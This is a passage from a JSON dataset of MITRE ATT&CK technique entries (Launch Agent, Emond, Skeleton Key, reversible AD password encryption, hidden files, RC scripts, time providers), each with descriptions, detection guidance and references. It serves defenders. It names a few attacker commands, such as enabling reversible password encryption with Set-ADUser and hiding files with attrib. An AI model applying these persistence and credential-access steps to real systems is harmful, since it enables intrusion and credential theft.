- "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
- "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may create or modify launch agents to repeatedly execute malicious payloads as part of persistence. When a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (.plist) file found in /System/Library/LaunchAgents
, /Library/LaunchAgents
, and ~/Library/LaunchAgents
.(Citation: AppleDocs Launch Agent Daemons)(Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware) Property list files use the Label
, ProgramArguments
, and RunAtLoad
keys to identify the Launch Agent's name, executable location, and execution time.(Citation: OSX.Dok Malware) Launch Agents are often installed to perform updates to programs, launch user specified programs at login, or to conduct other developer tasks.\n\n Launch Agents can also be executed using the [Launchctl](https://attack.mitre.org/techniques/T1569/001) command.\n \nAdversaries may install a new Launch Agent that executes at login by placing a .plist file into the appropriate folders with the RunAtLoad
or KeepAlive
keys set to true
.(Citation: Sofacy Komplex Trojan)(Citation: Methods of Mac Malware Persistence) The Launch Agent name may be disguised by using a name from the related operating system or benign software. Launch Agents are created with user level privileges and execute with user level permissions.(Citation: OSX Malware Detection)(Citation: OceanLotus for OS X) ",
- "modified": "2022-04-21T16:13:00.598Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Create or Modify System Process: Launch Agent",
- "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.\n\nEnsure Launch Agent's ProgramArguments
key pointing to executables located in the /tmp
or /shared
folders are in alignment with enterprise policy. Ensure all Launch Agents with the RunAtLoad
key set to true
are in alignment with policy. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "File: File Creation",
- "File: File Modification",
- "Service: Service Creation",
- "Service: Service Modification"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1543.001"
- },
- "atomic_tests": []
- },
- "T1519": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Ivan Sinyakov"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d376668f-b208-42de-b1f5-fdfe0ad4b753",
- "type": "attack-pattern",
- "created": "2019-09-19T14:07:11.734Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1519",
- "url": "https://attack.mitre.org/techniques/T1519"
- },
- {
- "source_name": "xorrior emond Jan 2018",
- "url": "https://www.xorrior.com/emond-persistence/",
- "description": "Ross, Chris. (2018, January 17). Leveraging Emond on macOS For Persistence. Retrieved September 10, 2019."
- },
- {
- "source_name": "magnusviri emond Apr 2016",
- "url": "http://www.magnusviri.com/Mac/what-is-emond.html",
- "description": "Reynolds, James. (2016, April 7). What is emond?. Retrieved September 10, 2019."
- },
- {
- "source_name": "sentinelone macos persist Jun 2019",
- "url": "https://www.sentinelone.com/blog/how-malware-persists-on-macos/",
- "description": "Stokes, Phil. (2019, June 17). HOW MALWARE PERSISTS ON MACOS. Retrieved September 10, 2019."
- }
- ],
- "modified": "2020-01-24T15:15:44.006Z",
- "name": "Emond",
- "description": "Adversaries may use Event Monitor Daemon (emond) to establish persistence by scheduling malicious commands to run on predictable event triggers. Emond is a [Launch Daemon](https://attack.mitre.org/techniques/T1160) that accepts events from various services, runs them through a simple rules engine, and takes action. The emond binary at /sbin/emond
will load any rules from the /etc/emond.d/rules/
directory and take action once an explicitly defined event takes place. The rule files are in the plist format and define the name, event type, and action to take. Some examples of event types include system startup and user authentication. Examples of actions are to run a system command or send an email. The emond service will not launch if there is no file present in the QueueDirectories path /private/var/db/emondClients
, specified in the [Launch Daemon](https://attack.mitre.org/techniques/T1160) configuration file at/System/Library/LaunchDaemons/com.apple.emond.plist
.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019)\n\nAdversaries may abuse this service by writing a rule to execute commands when a defined event occurs, such as system start up or user authentication.(Citation: xorrior emond Jan 2018)(Citation: magnusviri emond Apr 2016)(Citation: sentinelone macos persist Jun 2019) Adversaries may also be able to escalate privileges from administrator to root as the emond service is executed with root privileges by the [Launch Daemon](https://attack.mitre.org/techniques/T1160) service.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/
and /private/var/db/emondClients
.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1505": {
- "technique": {
- "x_mitre_platforms": [
- "Windows",
- "Linux",
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d456de47-a16f-4e46-8980-e67478a12dcb",
- "type": "attack-pattern",
- "created": "2019-06-28T17:52:07.296Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1505",
- "url": "https://attack.mitre.org/techniques/T1505"
- },
- {
- "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A",
- "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
- "source_name": "US-CERT Alert TA15-314A Web Shells"
- }
- ],
- "modified": "2022-04-01T17:11:00.534Z",
- "name": "Server Software Component",
- "description": "Adversaries may abuse legitimate extensible development features of servers to establish persistent access to systems. Enterprise server applications may include features that allow developers to write and install software or scripts to extend the functionality of the main application. Adversaries may install malicious components to extend and abuse server applications.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Consider monitoring application logs for abnormal behavior that may indicate suspicious installation of application software components. Consider monitoring file locations associated with the installation of new application software components such as paths from which applications typically load such extensible components.\n\nProcess monitoring may be used to detect servers components that perform suspicious actions such as running cmd.exe or accessing files. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells) ",
- "x_mitre_version": "1.3",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Application Log: Application Log Content",
- "Network Traffic: Network Traffic Flow",
- "File: File Modification",
- "Network Traffic: Network Traffic Content",
- "File: File Creation",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM",
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1556.001": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d4b96d2c-1032-4b22-9235-2b5b649d0605",
- "type": "attack-pattern",
- "created": "2020-02-11T19:05:02.399Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.001",
- "url": "https://attack.mitre.org/techniques/T1556/001"
- },
- {
- "source_name": "Dell Skeleton",
- "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
- "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
- },
- {
- "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx",
- "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
- "source_name": "TechNet Audit Policy"
- }
- ],
- "modified": "2021-04-20T20:10:26.613Z",
- "name": "Domain Controller Authentication",
- "description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor for calls to OpenProcess
that can be used to manipulate lsass.exe running on a domain controller as well as for malicious modifications to functions exported from authentication-related system DLLs (such as cryptdll.dll and samsrv.dll).(Citation: Dell Skeleton)\n\nConfigure robust, consistent account activity audit policies across the enterprise and with externally accessible services.(Citation: TechNet Audit Policy) Look for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g. a user has an active login session but has not entered the building or does not have VPN access). ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Modification",
- "Logon Session: Logon Session Creation",
- "Process: Process Access",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1556.005": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48",
- "type": "attack-pattern",
- "created": "2022-01-13T20:02:28.349Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1556.005",
- "url": "https://attack.mitre.org/techniques/T1556/005"
- },
- {
- "source_name": "store_pwd_rev_enc",
- "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption",
- "description": "Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022."
- },
- {
- "source_name": "how_pwd_rev_enc_1",
- "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible.html",
- "description": "Teusink, N. (2009, August 25). Passwords stored using reversible encryption: how it works (part 1). Retrieved November 17, 2021."
- },
- {
- "source_name": "how_pwd_rev_enc_2",
- "url": "http://blog.teusink.net/2009/08/passwords-stored-using-reversible_26.html",
- "description": "Teusink, N. (2009, August 26). Passwords stored using reversible encryption: how it works (part 2). Retrieved November 17, 2021."
- },
- {
- "source_name": "dump_pwd_dcsync",
- "url": "https://adsecurity.org/?p=2053",
- "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021."
- }
- ],
- "modified": "2022-02-10T21:35:25.377Z",
- "name": "Reversible Encryption",
- "description": "An adversary may abuse Active Directory authentication encryption properties to gain access to credentials on Windows systems. The AllowReversiblePasswordEncryption
property specifies whether reversible password encryption for an account is enabled or disabled. By default this property is disabled (instead storing user credentials as the output of one-way hashing functions) and should not be enabled unless legacy or other software require it.(Citation: store_pwd_rev_enc)\n\nIf the property is enabled and/or a user changes their password after it is enabled, an adversary may be able to obtain the plaintext of passwords created/changed after the property was enabled. To decrypt the passwords, an adversary needs four components:\n\n1. Encrypted password (G$RADIUSCHAP
) from the Active Directory user-structure userParameters
\n2. 16 byte randomly-generated value (G$RADIUSCHAPKEY
) also from userParameters
\n3. Global LSA secret (G$MSRADIUSCHAPKEY
)\n4. Static key hardcoded in the Remote Access Subauthentication DLL (RASSFM.DLL
)\n\nWith this information, an adversary may be able to reproduce the encryption key and subsequently decrypt the encrypted password value.(Citation: how_pwd_rev_enc_1)(Citation: how_pwd_rev_enc_2)\n\nAn adversary may set this property at various scopes through Local Group Policy Editor, user properties, Fine-Grained Password Policy (FGPP), or via the ActiveDirectory [PowerShell](https://attack.mitre.org/techniques/T1059/001) module. For example, an adversary may implement and apply a FGPP to users or groups if the Domain Functional Level is set to \"Windows Server 2008\" or higher.(Citation: dump_pwd_dcsync) In PowerShell, an adversary may make associated changes to user settings using commands similar to Set-ADUser -AllowReversiblePasswordEncryption $true
.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "credential-access"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor property changes in Group Policy: Computer Configuration\\Windows Settings\\Security Settings\\Account Policies\\Password Policy\\Store passwords using reversible encryption
. By default, the property should be set to Disabled.\n\nMonitor command-line usage for -AllowReversiblePasswordEncryption $true
or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). Furthermore, consider monitoring and/or blocking suspicious execution of Active Directory PowerShell modules, such as Set-ADUser
and Set-ADAccountControl
, that change account configurations. \n\nMonitor Fine-Grained Password Policies and regularly audit user accounts and group settings.(Citation: dump_pwd_dcsync)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "User Account: User Account Metadata",
- "Active Directory: Active Directory Object Modification",
- "Command: Command Execution",
- "Script: Script Execution"
- ],
- "x_mitre_permissions_required": [
- "User",
- "Administrator"
- ]
- },
- "atomic_tests": []
- },
- "T1158": {
- "technique": {
- "x_mitre_platforms": [
- "Linux",
- "macOS",
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1158",
- "url": "https://attack.mitre.org/techniques/T1158"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
- "source_name": "Sofacy Komplex Trojan"
- },
- {
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
- "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
- "source_name": "Antiquated Mac Malware"
- },
- {
- "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf",
- "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
- "source_name": "WireLurker"
- }
- ],
- "modified": "2020-03-13T21:01:22.966Z",
- "name": "Hidden Files and Directories",
- "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a
for Windows and ls \u2013a
for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename
to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES
, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_defense_bypassed": [
- "Host forensic analysis"
- ],
- "x_mitre_permissions_required": [
- "User"
- ]
- },
- "atomic_tests": []
- },
- "T1037.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS",
- "Linux"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--dca670cf-eeec-438f-8185-fd959d9ef211",
- "type": "attack-pattern",
- "created": "2020-01-15T16:25:22.260Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1037.004",
- "url": "https://attack.mitre.org/techniques/T1037/004"
- },
- {
- "source_name": "IranThreats Kittens Dec 2017",
- "url": "https://iranthreats.github.io/resources/attribution-flying-rocket-kitten/",
- "description": "Iran Threats . (2017, December 5). Flying Kitten to Rocket Kitten, A Case of Ambiguity and Shared Code. Retrieved May 28, 2020."
- },
- {
- "description": "Sanmillan, I. (2019, May 29). HiddenWasp Malware Stings Targeted Linux Systems. Retrieved June 24, 2019.",
- "url": "https://www.intezer.com/blog-hiddenwasp-malware-targeting-linux-systems/",
- "source_name": "Intezer HiddenWasp Map 2019"
- },
- {
- "source_name": "intezer-kaiji-malware",
- "url": "https://www.intezer.com/blog/research/kaiji-new-chinese-linux-malware-turning-to-golang/",
- "description": "Paul Litvak. (2020, May 4). Kaiji: New Chinese Linux malware turning to Golang. Retrieved December 17, 2020."
- },
- {
- "source_name": "Apple Developer Doco Archive Launchd",
- "url": "https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (2016, September 13). Daemons and Services Programming Guide - Creating Launch Daemons and Agents. Retrieved February 24, 2021."
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html",
- "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.",
- "source_name": "Startup Items"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- },
- {
- "source_name": "Ubuntu Manpage systemd rc",
- "url": "http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html",
- "description": "Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021."
- }
- ],
- "modified": "2021-04-27T19:58:01.927Z",
- "name": "Boot or Logon Initialization Scripts: Rc.common",
- "description": "Adversaries may establish persistence by modifying RC scripts which are executed during a Unix-like system\u2019s startup. These files allow system administrators to map and start custom services at startup for different run levels. RC scripts require root privileges to modify.\n\nAdversaries can establish persistence by adding a malicious binary path or shell commands to rc.local
, rc.common
, and other RC scripts specific to the Unix-like distribution.(Citation: IranThreats Kittens Dec 2017)(Citation: Intezer HiddenWasp Map 2019) Upon reboot, the system executes the script's contents as root, resulting in persistence.\n\nAdversary abuse of RC scripts is especially effective for lightweight Unix-like distributions using the root user as default, such as IoT or embedded systems.(Citation: intezer-kaiji-malware)\n\nSeveral Unix-like systems have moved to Systemd and deprecated the use of RC scripts. This is now a deprecated mechanism in macOS in favor of [Launchd](https://attack.mitre.org/techniques/T1053/004). (Citation: Apple Developer Doco Archive Launchd)(Citation: Startup Items) This technique can be used on Mac OS X Panther v10.3 and earlier versions which still execute the RC scripts.(Citation: Methods of Mac Malware Persistence) To maintain backwards compatibility some systems, such as Ubuntu, will execute the RC scripts if they exist with the correct file permissions.(Citation: Ubuntu Manpage systemd rc)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Monitor for unexpected changes to RC scripts in the /etc/
directory. Monitor process execution resulting from RC scripts for unusual or unknown applications or behavior.\n\nMonitor for /etc/rc.local
file creation. Although types of RC scripts vary for each Unix-like distribution, several execute /etc/rc.local
if present. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "2.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "File: File Modification",
- "File: File Creation",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "root"
- ],
- "identifier": "T1037.004"
- },
- "atomic_tests": []
- },
- "T1209": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Scott Lundgren, @5twenty9, Carbon Black"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--dce31a00-1e90-4655-b0f9-e2e71a748a87",
- "type": "attack-pattern",
- "created": "2018-04-18T17:59:24.739Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1209",
- "url": "https://attack.mitre.org/techniques/T1209"
- },
- {
- "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top",
- "description": "Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.",
- "source_name": "Microsoft W32Time Feb 2018"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx",
- "description": "Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.",
- "source_name": "Microsoft TimeProvider"
- },
- {
- "url": "https://github.com/scottlundgren/w32time",
- "description": "Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.",
- "source_name": "Github W32Time Oct 2017"
- },
- {
- "url": "https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings",
- "description": "Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.",
- "source_name": "Microsoft W32Time May 2017"
- },
- {
- "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902",
- "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
- "source_name": "TechNet Autoruns"
- }
- ],
- "modified": "2020-01-24T16:48:50.715Z",
- "name": "Time Providers",
- "description": "The Windows Time service (W32Time) enables time synchronization across and within domains. (Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients. (Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\
. (Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed. (Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish Persistence, specifically by registering and enabling a malicious DLL as a time provider. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account. (Citation: Github W32Time Oct 2017)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility. (Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk. (Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers. (Citation: TechNet Autoruns)",
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ]
- },
- "atomic_tests": []
- },
- "T1159": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125",
- "type": "attack-pattern",
- "created": "2017-12-14T16:46:06.044Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "revoked": true,
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1159",
- "url": "https://attack.mitre.org/techniques/T1159"
- },
- {
- "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html",
- "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017.",
- "source_name": "AppleDocs Launch Agent Daemons"
- },
- {
- "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/",
- "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.",
- "source_name": "OSX Keydnap malware"
- },
- {
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/",
- "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
- "source_name": "Antiquated Mac Malware"
- },
- {
- "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
- "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
- "source_name": "OSX.Dok Malware"
- },
- {
- "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/",
- "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
- "source_name": "Sofacy Komplex Trojan"
- },
- {
- "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf",
- "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.",
- "source_name": "Methods of Mac Malware Persistence"
- },
- {
- "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf",
- "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017.",
- "source_name": "OSX Malware Detection"
- },
- {
- "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update",
- "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.",
- "source_name": "OceanLotus for OS X"
- }
- ],
- "modified": "2020-01-17T16:52:35.818Z",
- "name": "Launch Agent",
